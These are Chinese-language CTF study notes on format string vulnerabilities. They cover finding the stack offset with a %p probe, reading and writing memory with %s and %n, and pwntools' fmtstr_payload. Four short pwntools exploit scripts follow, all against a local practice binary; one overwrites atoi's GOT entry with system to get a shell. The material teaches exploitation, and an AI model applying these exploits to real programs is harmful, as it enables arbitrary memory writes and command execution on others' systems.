格式化字符串漏洞学习记录
CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-优快云博客_pwn 格式化字符串漏洞
printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:
printf("%s", pad)
,写成了:printf(pad)
,此时就存在格式化字符串漏洞。
利用payload来寻找输入字符串到栈顶指针的偏移
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
栈是一种特殊的线性表,是一种只允许在表的一端进行插入或删除操作的线性表。表中允许进行插入、删除操作的一端称为栈顶。表的另一端称为栈底。栈顶的当前位置是动态的,对栈顶当前位置的标记称为栈顶指针。当栈中没有数据元素时,称之为空栈。栈的插入操作通常称为进栈或入栈,栈的删除操作通常称为退栈或出栈。
%s 打印地址内容
%n 写四字节
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
offset:格式化字符串的偏移;
writes:需要利用%n写入的数据,采用字典形式,就写成{目标地址: 要写入的数据};要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
numbwritten:已经输出的字符个数,这里没有,为0,采用默认值即可;#这里是要考虑printf参数的原因
write_size:写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
exp1:
from pwn import *
p=process('./pwn')
dword_804c044=0x0804C044
payload=fmtstr_payload(10,{dword_804c044:4})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(4))
p.interactive()
exp2:
from pwn import *
p = process("./pwn")
elf=ELF('./pwn')
atoi_got=elf.got['atoi']
system_plt=elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
exp3:
from pwn import *
p=process('./pwn')
dword_addr=0x804C044
p.recvuntil('your name:')
payload=p32(dword_addr)+b'%10$n'
p.sendline(payload)
p.recvuntil("your passwd:")
p.sendline(b'4')
p.interactive()
exp4:
from pwn import *
p=process('./pwn')
dword_addr=0x804C044
payload=p32(dword_addr)+b'%10$s'
p.sendline(payload)
p.recvuntil("Hello,")
p.recv(4)
number=u32(p.recv(4))
p.sendline(str(number))
p.interactive()